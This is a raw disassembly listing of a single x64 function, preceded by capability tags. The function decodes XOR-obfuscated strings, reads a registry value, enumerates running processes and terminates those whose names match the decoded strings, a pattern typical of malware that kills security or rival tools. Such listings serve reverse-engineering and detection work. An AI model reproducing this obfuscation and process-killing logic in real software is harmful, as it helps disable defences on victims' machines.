Function at 0x18001cd30
Capabilities:
Encode data using xor
Enumerate processes
Query or enumerate registry value
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x708]
sub rsp, 0x7c8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
movaps xmmword [rax - 0x98], xmm10
xor r13d, r13d
mov dword [rbp + 0x710], r13d
mov qword [rbp + 0x720], r13
movups xmm0, xmmword [str.__SB_YK_gjRI_]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x180157cf0]
movups xmmword [rbp + 0x58], xmm1
movsd xmm0, qword [str.7__G]
movsd qword [rbp + 0x68], xmm0
movzx eax, word [0x180157d08]
mov word [rbp + 0x70], ax
mov r8d, r13d
lea ebx, [r13 + 5]
lea edi, [rbx + 0x1a]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x18001cee9
movdqa xmm5, xmmword [0x18015bd50]
movdqa xmm4, xmmword [0x18015bf90]
movd xmm6, ebx
movdqa xmm7, xmmword [0x18015bdf0]
movd xmm8, edi
movdqa xmm9, xmmword [str.3333333344444444]
lea rcx, [rbp + 0x48]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001cdf2
cmp r8d, 0x15
jge 0x18001cf37
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x18001cf00
lea rax, [rbp + 0x720]
mov qword [rsp + 0x20], rax
mov r14d, 1
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp + 0x48]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18001cf76
mov rcx, qword [rbp + 0x720]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x18001fab8
mov eax, 0x22
mov word [rbp + 0x460], ax
mov dword [rbp + 0x718], 0x206
movups xmm0, xmmword [str.__PWZA__]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x180157c48]
mov ecx, 0x53
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x34
xor word [rsp + 0x64], 0x35
xor word [rsp + 0x66], 0x36
xor word [rsp + 0x68], 0x37
xor word [rsp + 0x6a], 0x38
xor word [rsp + 0x6c], 0x39
xor word [rsp + 0x6e], 0x3a
xor ax, 0x3b
mov word [rsp + 0x70], ax
lea rax, [rbp + 0x718]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x462]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp + 0x720]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp + 0x720]
test eax, eax
jne 0x18001cf6b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], r13
lea rax, [rbp + 0x460]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x18001d050
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x78]
call fcn.180006af0
nop
mov r8, r14
lea rdx, [0x18011dd7c]
lea rcx, [rbp + 0x78]
call fcn.1800082a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r15d, 8
mov rdx, qword [rbp + 0x90]
cmp rdx, 8
jb 0x18001d0ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d0e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd20
call fcn.1800b98ec
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], 7
mov word [rbp + 0x78], r13w
movsd xmm10, qword [0x18015bc90]
jmp 0x18001d115
mov edi, 0x1f
movups xmm9, xmmword [0x180157cb8]
movups xmmword [rsp + 0x60], xmm9
pextrw eax, xmm9, 7
test ax, ax
je 0x18001d277
cmp r12d, 2
jl 0x18001d232
movdqa xmm4, xmmword [0x18015bf90]
movd xmm6, ebx
movd xmm5, edi
movdqa xmm8, xmmword [str.3333333344444444]
movdqa xmm2, xmmword [0x18015bd50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm1, xmm9
xorps xmm3, xmm1
movq qword [rsp + 0x60], xmm3
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x68]
xorps xmm3, xmm0
movq qword [rsp + 0x68], xmm3
jmp 0x18001d277
lea r9, [rsp + 0x60]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x18001d240
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x60]
mov r8, rsi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d290
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
cmp qword [rbp - 0x50], 0
je 0x18001d57a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x18015684c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001d344
mov r8, rsi
lea rdx, [0x18015687c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001fd26
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bbe40
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156870]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001d537
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d3b0
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006af0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.18009d170
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18009d170
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001d403
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001d411
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001d436
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001d43f
add rax, 2
sub rcx, 1
jne 0x18001d423
cmp r9, r10
jae 0x18001d447
mov ebx, esi
jmp 0x18001d44d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001d44d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001d48d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d488
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd2c
call fcn.1800b98ec
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001d4de
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d4d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd32
call fcn.1800b98ec
test ebx, ebx
je 0x18001d4fc
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001d390
jmp 0x18001d537
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001d52d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d57a
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d574
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd38
call fcn.1800b98ec
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001d5ba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d5b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdc2
call fcn.1800b98ec
movups xmm0, xmmword [str.__PWZ]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x180157cb0]
mov dword [rsp + 0x70], eax
cmp word [0x180157cb2], 0
je 0x18001d61a
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x34
xor word [rsp + 0x64], 0x35
xor word [rsp + 0x66], 0x36
xor word [rsp + 0x68], 0x37
xor word [rsp + 0x6a], 0x38
xor word [rsp + 0x6c], 0x39
xor word [rsp + 0x6e], 0x3a
xor word [rsp + 0x70], 0x3b
xor word [rsp + 0x72], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d631
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
cmp qword [rbp - 0x50], 0
je 0x18001d91a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x18015684c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001d6e5
mov r8, rsi
lea rdx, [0x18015687c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001fd3e
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bbe40
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156870]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001d8d7
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d750
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006af0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.18009d170
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18009d170
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001d7a3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001d7b1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001d7d6
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001d7df
add rax, 2
sub rcx, 1
jne 0x18001d7c3
cmp r9, r10
jae 0x18001d7e7
mov ebx, esi
jmp 0x18001d7ed
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001d7ed
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001d82d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d828
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd44
call fcn.1800b98ec
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001d87e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d879
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd4a
call fcn.1800b98ec
test ebx, ebx
je 0x18001d89c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001d730
jmp 0x18001d8d7
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001d8cd
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d91a
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d914
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd50
call fcn.1800b98ec
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001d95a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d955
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdc2
call fcn.1800b98ec
movups xmm0, xmmword [0x180157c10]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180157c20]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180157c30]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001dab7
movdqa xmm5, xmmword [0x18015bd50]
movdqa xmm4, xmmword [0x18015bf90]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x18015bdf0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.3333333344444444]
lea rcx, [rbp]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001d9c0
cmp r8d, 0x11
jge 0x18001db07
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001dad0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001db20
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
cmp qword [rbp - 0x50], 0
je 0x18001de0a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x18015684c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001dbd3
mov r8, rsi
lea rdx, [0x18015687c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001fd56
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bbe40
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156870]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001ddc7
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001dc40
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006af0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.18009d170
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18009d170
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001dc93
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001dca1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001dcc6
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001dccf
add rax, 2
sub rcx, 1
jne 0x18001dcb3
cmp r9, r10
jae 0x18001dcd7
mov ebx, esi
jmp 0x18001dcdd
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001dcdd
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001dd1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001dd18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd5c
call fcn.1800b98ec
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001dd6e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001dd69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd62
call fcn.1800b98ec
test ebx, ebx
je 0x18001dd8c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001dc20
jmp 0x18001ddc7
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001ddbd
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001de0a
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001de04
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd68
call fcn.1800b98ec
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001de4a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001de45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdc2
call fcn.1800b98ec
movups xmm0, xmmword [str.__PWZOXSYQNZ2o__E]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x180157c60]
movups xmmword [rbp + 0x58], xmm1
mov eax, dword [0x180157c70]
mov dword [rbp + 0x68], eax
movzx eax, word [0x180157c74]
mov word [rbp + 0x6c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001dfb7
movdqa xmm5, xmmword [0x18015bd50]
movdqa xmm4, xmmword [0x18015bf90]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x18015bdf0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.3333333344444444]
lea rcx, [rbp + 0x48]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
